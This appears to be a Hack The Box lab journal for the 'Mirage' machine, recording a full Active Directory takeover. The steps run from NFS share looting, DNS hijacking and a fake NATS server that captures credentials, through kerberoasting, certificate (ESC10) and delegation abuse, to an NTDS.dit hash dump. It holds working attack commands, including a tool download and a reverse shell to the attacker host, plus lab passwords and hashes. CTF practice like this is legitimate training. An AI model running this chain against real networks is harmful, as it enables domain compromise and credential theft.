Mirage

Difficulty	Hard
Resources	https://app.hackthebox.com/machines/682
Status	In progress

✏️ Overview

💻 Machines

Name	IP	Is Pwned	Is in domain	Has AV	Has FW	Operating System	Observations
mirage.htb	10.129.23.232						

☑️ Attacks & Payloads

Machine	Attack Vector	Prerequisites	Payload	Additional Notes

👥 Credentials

Username	Hash	Password	Is domain user	Purpose	Additional Notes
nathan.aadam					
david.jjackson		pN8kQmn6b86!1234@			
Dev_Account_A		hx5h7F5554fP@1337!			

📘 Journal

Timestamp	Machine	Note
2:54 PM	mirage.htb	PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 111/tcp open rpcbind 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 2049/tcp open nfs 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman Nmap scan conducted, we find that NFS is open so we can do a showmount to check the mounts currer
2:55 PM	mirage.htb	showmount -e 10.129.23.232 /MirageReports (everyone)

Timestamp	Machine	Note

		Let’s try mounting this and then grabbing the files in here.
		`sudo mount -t nfs 10.129.23.232:/MirageReports /tmp/MirageReports`
		`mkdir /tmp/MirageReports`
		Found some usernames in both of the files we got.
		ad-security@mirage.htb
		nats-svc.mirage.htb
		Dev_Account_A
		`.\nats -s nats://nats-svc:4444 rtt --user $user --password $password`
		10.200.104.101
		`dc01.mirage.htb`

3:12 PM	mirage.htb	└─$ dnsrecon -d mirage.htb -n 10.129.23.232 -t std
		`[ ] std: Performing General Enumeration against: mirage.htb...`
		`[-] DNSSEC is not configured for mirage.htb`
		`[`
		`] SOA dc01.mirage.htb 10.129.23.232`
		`[`
		`] SOA dc01.mirage.htb dead:beef::df36:9747:5819:78cd`
		`[`
		`] SOA dc01.mirage.htb dead:beef::15c`
		`[`
		`] NS dc01.mirage.htb 10.129.23.232`
		`[`
		`] NS dc01.mirage.htb dead:beef::df36:9747:5819:78cd`
		`[`
		`] NS dc01.mirage.htb dead:beef::15c`
		`[`
		`] A mirage.htb 10.129.23.232`
		`[`
		`] AAAA mirage.htb dead:beef::df36:9747:5819:78cd`
		`[`
		`] AAAA mirage.htb dead:beef::15c`
		`[*] Enumerating SRV Records`
		`[+] SRV _gc._tcp.mirage.htb dc01.mirage.htb 10.129.23.232 3268`
		`[+] SRV _gc._tcp.mirage.htb dc01.mirage.htb dead:beef::df36:9747:5819:78cd 3268`
		`[+] SRV _gc._tcp.mirage.htb dc01.mirage.htb dead:beef::15c 3268`
		`[+] SRV _kerberos._udp.mirage.htb dc01.mirage.htb 10.129.23.232 88`
		`[+] SRV _kerberos._udp.mirage.htb dc01.mirage.htb dead:beef::15c 88`
		`[+] SRV _kerberos._udp.mirage.htb dc01.mirage.htb dead:beef::df36:9747:5819:78cd 88`
		`[+] SRV _ldap._tcp.mirage.htb dc01.mirage.htb 10.129.23.232 389`
		`[+] SRV _ldap._tcp.mirage.htb dc01.mirage.htb dead:beef::df36:9747:5819:78cd 389`
		`[+] SRV _ldap._tcp.mirage.htb dc01.mirage.htb dead:beef::15c 389`
		`[+] SRV _kerberos._tcp.mirage.htb dc01.mirage.htb 10.129.23.232 88`
		`[+] SRV _kerberos._tcp.mirage.htb dc01.mirage.htb dead:beef::15c 88`
		`[+] SRV _kerberos._tcp.mirage.htb dc01.mirage.htb dead:beef::df36:9747:5819:78cd 88`
		`[+] SRV _ldap._tcp.ForestDNSZones.mirage.htb dc01.mirage.htb 10.129.23.232 389`
		`[+] SRV _ldap._tcp.ForestDNSZones.mirage.htb dc01.mirage.htb dead:beef::15c 389`
		`[+] SRV _ldap._tcp.ForestDNSZones.mirage.htb dc01.mirage.htb dead:beef::df36:9747:5819:78cd 389`
		`[+] SRV _ldap._tcp.pdc._msdcs.mirage.htb dc01.mirage.htb 10.129.23.232 389`
		`[+] SRV _ldap._tcp.pdc._msdcs.mirage.htb dc01.mirage.htb dead:beef::df36:9747:5819:78cd 389`
		`[+] SRV _ldap._tcp.pdc._msdcs.mirage.htb dc01.mirage.htb dead:beef::15c 389`
		`[+] SRV _ldap._tcp.gc._msdcs.mirage.htb dc01.mirage.htb 10.129.23.232 3268`
		`[+] SRV _ldap._tcp.gc._msdcs.mirage.htb dc01.mirage.htb dead:beef::df36:9747:5819:78cd 3268`
		`[+] SRV _ldap._tcp.gc._msdcs.mirage.htb dc01.mirage.htb dead:beef::15c 3268`
		`[+] SRV _ldap._tcp.dc._msdcs.mirage.htb dc01.mirage.htb 10.129.23.232 389`
		`[+] SRV _ldap._tcp.dc._msdcs.mirage.htb dc01.mirage.htb dead:beef::15c 389`
		`[+] SRV _ldap._tcp.dc._msdcs.mirage.htb dc01.mirage.htb dead:beef::df36:9747:5819:78cd 389`
		`[+] SRV _kpasswd._tcp.mirage.htb dc01.mirage.htb 10.129.23.232 464`

Timestamp	Machine	Note

		`[+] SRV _kpasswd._tcp.mirage.htb dc01.mirage.htb dead:beef::15c 464`
		`[+] SRV _kpasswd._tcp.mirage.htb dc01.mirage.htb dead:beef::df36:9747:5819:78cd 464`
		`[+] SRV _kpasswd._udp.mirage.htb dc01.mirage.htb 10.129.23.232 464`
		`[+] SRV _kpasswd._udp.mirage.htb dc01.mirage.htb dead:beef::df36:9747:5819:78cd 464`
		`[+] SRV _kpasswd._udp.mirage.htb dc01.mirage.htb dead:beef::15c 464`
		`[+] SRV _kerberos._tcp.dc._msdcs.mirage.htb dc01.mirage.htb 10.129.23.232 88`
		`[+] SRV _kerberos._tcp.dc._msdcs.mirage.htb dc01.mirage.htb dead:beef::15c 88`
		`[+] SRV _kerberos._tcp.dc._msdcs.mirage.htb dc01.mirage.htb dead:beef::df36:9747:5819:78cd 88`
		`[+] 33 Records Found`
		
		Grabbing DNS results for potential future useage.

3:16 PM	mirage.htb	`nsupdate`
		`> server 10.129.23.232`
		`> update add nats-svc.mirage.htb 3600 A 10.10.14.161`
		`> send`
		
		`sudo apt install nats-server`
		
		`go install` `github.com/nats-io/natscli/nats@latest`
		
		└─$ python3
		nats.py
		[+] Fake NATS Server listening on 0.0.0.0:4222
		[+] Connection from ('10.129.23.232', 55810)
		[>] Received:
		
		`CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"`

3:38 PM	mirage.htb	`└─$ dig @10.129.23.232 nats-svc.mirage.htb A`
		
		`; <<>> DiG 9.20.9-1-Debian <<>> @10.129.23.232 nats-svc.mirage.htb A`
		`; (1 server found)`
		`;; global options: +cmd`
		`;; Got answer:`
		`;; →>HEADER<← opcode: QUERY, status: NOERROR, id: 45516`
		`;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1`
		
		`;; OPT PSEUDOSECTION:`
		`; EDNS: version: 0, flags:; udp: 4000`
		`;; QUESTION SECTION:`
		`;nats-svc.mirage.htb. IN A`
		
		`;; ANSWER SECTION:`
		`nats-svc.mirage.htb. 3600 IN A 10.10.14.161`
		
		`;; Query time: 57 msec`
		`;; SERVER: 10.129.23.232#53(10.129.23.232) (UDP)`
		`;; WHEN: Sun Jul 20 22:19:09 EDT 2025`
		`;; MSG SIZE rcvd: 64`

3:39 PM	mirage.htb	`./nats --server 'nats://Dev_Account_A:hx5h7F5554fP@1337!@dc01.mirage.htb:4222' stream view auth_logs`
		
		Now that we successfully gained the credentials, we can attempt some more Active Directory enumerati
		
		`{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}`

Timestamp	Machine	Note
		nathan.aadam@mirage.htb is believed to be kerberoastable. getTGT.py 'MIRAGE.HTB/DAVID.JJACKSON:pN8kQmn6b86!1234@' Inject the TGT after getting it and then run GetUserSPNs. export KRB5CCNAME=DAVID.JJACKSON.ccache impacket-GetUserSPNs -dc-ip 10.129.23.232 'MIRAGE.htb/david.jjackson:pN8kQmn6b86!1234@' -request -outputfile kerb nathan.aadam hash $krb5tgs$23$ *nathan.aadam$MIRAGE.HTB$MIRAGE.htb/nathan.aadam* $7e6b575b6258cc161de388bf1083409c$56b

4:06 PM	mirage.htb	hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
		nathan.aadam:3edc#EDC3
		getTGT.py 'MIRAGE.HTB/NATHAN.AADAM:3edc#EDC3'
		export KRB5CCNAME=NATHAN.AADAM.ccache
		We got the password for Nathan by cracking the hash because it was kerberoastable, then we inject the
		Navigating to C:\Program Files\Nats-Server revealed the
		nats-server.conf
		listen: '0.0.0.0:4222'
		jetstream: {
		store_dir: 'C:\Program Files\Nats-Server\tmp'
		}
		accounts: {
		'$SYS': {
		users: [
		{ user: 'sysadmin', password: 'bb5M0k5XWIGD' }
		]
		},
		'dev': {
		jetstream: true,
		users: [
		{ user: 'Dev_Account_A', password: 'hx5h7F5554fP@1337!' },
		{ user: 'Dev_Account_B', password: 'tvPFGAzdsJfHzbRJ' }
		]
		}
		}

4:13 PM	mirage.htb	Host a webserver and then transfer winpeas.exe for additional automated enumeration. curl.exe http://10.10.14.161:8000/winPEASx64.exe -o winpeasx64.exe ./winpeasx64.exe to run it, then we found autologon credentials for mark.bbond DefaultDomainName : MIRAGE

Timestamp	Machine	Note
		DefaultUserName : mark.bbond DefaultPassword : 1day@atime `mark.bbond:1day@atime`

4:38 pm	mirage.htb	Now that we got credentials, we are going to run RunasCs.exe to grab a separate shell as mark.bbond
		`.\runascs.exe mark.bbond 1day@atime cmd.exe -r 10.10.14.161:4444`
		C:\Windows\system32>whoami
		whoami
		mirage\mark.bbond
		Now we are going to conduct enumeration for javier.mmarshall
		`Get-ADUser -Identity javier.mmarshall -Properties Enabled`
		`Set-ADUser -Identity "javier.mmarshall" -Clear logonHours`
		`Enable-ADAccount -Identity javier.mmarshall`
		`bloodyAD -k -u 'mark.bbond' -p '1day@atime' -d 'mirage.htb' --host 'dc01.mirage.htb' set password JAVIER.MMARSHALL`
		`Get-ADUser -Identity javier.mmarshall -Property *`

5:02 PM	mirage.htb	We need to change the properties for Javier as well because he’s set to a user with restrictions.
		`Get-ADUser -Identity javier.mmarshall -Properties userAccountControl`
		`Set-ADUser -Identity javier.mmarshall -Replace @{userAccountControl=512}`
		Then we can confirm if it works and it certainly does. We can then get a ticket for javier.mmarshall
		`kinit javier.mmarshall@MIRAGE.HTB`
		`bloodyAD -k -u 'mark.bbond' -p '1day@atime' -d 'mirage.htb' --host 'dc01.mirage.htb' remove uac JAVIER.MMARSHALL -`
		`sudo ntpdate mirage.htb && nxc ldap mirage.htb -u 'javier.mmarshall' -p 'Password123!' -k --gmsa`
		`bloodyAD -k -u 'javier.mmarshall' -p 'Password123!' -d 'mirage.htb' --host 'dc01.mirage.htb' get object 'Mirage-Service$'`

5:33 PM	mirage.htb	`distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb`
		`msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:305806d84f7c1be93a07aaf40f0c7866`
		`msDS-ManagedPassword.B64ENCODED: 43A01mr7V2LGukxowctrHCsLubtNUHxw2zYf7l0REqmep3mfMpizCXlvhv0n8SF`
		Now that we acquired the Mirage-Service$ hash, we can then inject that ticket and run the ESC10 attack

Timestamp	Machine	Note

		`getTGT.py 'MIRAGE.HTB/Mirage-Service$' -hashes ':305806d84f7c1be93a07aaf40f0c7866' -dc-ip 10.129.23.232`
		`export KRB5CCNAME=Mirage-Service\$.ccache`
		We need to also get a ticket for Mark Bbond after doing the initial command below.
		Don’t forget to revert back the user’s UPN to mark.
		`certipy-ad account update -user 'mark.bbond' -upn 'mark.bbond$@mirage.htb' -u 'mirage-service$@mirage.htb' -k -no-`
		`certipy-ad account update -user 'mark.bbond' -upn 'dc01$@mirage.htb' -u 'mirage-service$@mirage.htb' -k -no-pass -d`
		`certipy-ad req -u mark.bbond@mirage.htb -no-pass -k -ca mirage-DC01-CA -template User -dc-ip 10.129.23.232 -dc-hos`
		`certipy-ad auth -pfx dc01.pfx -dc-ip 10.129.23.232 -ldap-shell`
		The LDAP shell successfully worked.

6:07 PM	mirage.htb	`# whoami`
		`u:MIRAGE\DC01$`
		`set_rbcd dc01$ Mirage-Service$`
		`# set_rbcd dc01$ Mirage-Service$`
		`Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb`
		`Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000`
		`Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb`
		`Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112`
		`Currently allowed sids:`
		`S-1-5-21-2127163471-3824721834-2568365109-1109`
		`Delegation rights modified successfully!`
		`Mirage-Service$ can now impersonate users on dc01$ via S4U2Proxy`
		With the ticket injected we can then run ntds.dit
		`└─$ nxc smb dc01.mirage.htb -k --use-kcache --ntds`
		`[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user saf`
		`SMB dc01.mirage.htb 445 dc01 [`
		`] x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)`
		`SMB dc01.mirage.htb 445 dc01 [+] mirage.htb\dc01$ from ccache`
		`SMB dc01.mirage.htb 445 dc01 [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied`
		`SMB dc01.mirage.htb 445 dc01 [+] Dumping the NTDS, this could take a while so go grab a redbull...`
		`SMB dc01.mirage.htb 445 dc01 mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e`
		`SMB dc01.mirage.htb 445 dc01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0`
		`SMB dc01.mirage.htb 445 dc01 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1adcc3d4a7f007ca8ab8a3a671a6612`
		`SMB dc01.mirage.htb 445 dc01 mirage.htb\Dev_Account_A:1104:aad3b435b51404eeaad3b435b51404ee:3db621dd880eb`
		`SMB dc01.mirage.htb 445 dc01 mirage.htb\Dev_Account_B:1105:aad3b435b51404eeaad3b435b51404ee:fd1a971892bfd0`
		`SMB dc01.mirage.htb 445 dc01 mirage.htb\david.jjackson:1107:aad3b435b51404eeaad3b435b51404ee:ce781520ff23cdfe`
		`SMB dc01.mirage.htb 445 dc01 mirage.htb\javier.mmarshall:1108:aad3b435b51404eeaad3b435b51404ee:694fba7016ea1`
		`SMB dc01.mirage.htb 445 dc01 mirage.htb\mark.bbond:1109:aad3b435b51404eeaad3b435b51404ee:8fe1f7f9e9148b3bd`
		`SMB dc01.mirage.htb 445 dc01 mirage.htb\nathan.aadam:1110:aad3b435b51404eeaad3b435b51404ee:1cdd3c6d19586fd`
		`SMB dc01.mirage.htb 445 dc01 mirage.htb\svc_mirage:2604:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe06`
		`SMB dc01.mirage.htb 445 dc01 DC01$:1000:aad3b435b51404eeaad3b435b51404ee:b5b26ce83b5ad77439042fbf9246c`
		`SMB dc01.mirage.htb 445 dc01 Mirage-Service$:1112:aad3b435b51404eeaad3b435b51404ee:305806d84f7c1be93a07aa`
		`SMB dc01.mirage.htb 445 dc01 [+] Dumped 12 NTDS hashes to /home/kali/.nxc/logs/ntds/dc01_dc01.mirage.htb_2025-07-`
		`SMB dc01.mirage.htb 445 dc01 [`
		`] To extract only enabled accounts from the output file, run the following command:`

<table>
<tr><th>Timestamp</th><th>Machine</th><th>Note</th></tr>
<tr><td></td><td></td><td>SMB dc01.mirage.htb 445 dc01 [
] cat /home/kali/.nxc/logs/ntds/dc01_dc01.mirage.htb_2025-07-21_012211.ntds | grep -iv disabled | cut -d ':' -f1
SMB dc01.mirage.htb 445 dc01 [
] grep -iv disabled /home/kali/.nxc/logs/ntds/dc01_dc01.mirage.htb_2025-07-21_012211.ntds | cut -d ':' -f1</td></tr>
<tr><td>6:23 PM</td><td>dc01.mirage.htb</td><td>We can then get the TGT for the Administrator shortly after dumping the NTDS.dit
getTGT.py 'MIRAGE.HTB/Administrator' -hashes aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29
export KRB5CCNAME=Administrator.ccache
evil-winrm -r mirage.htb -i dc01.mirage.htb -u 'Administrator' -k /</td></tr>
</table>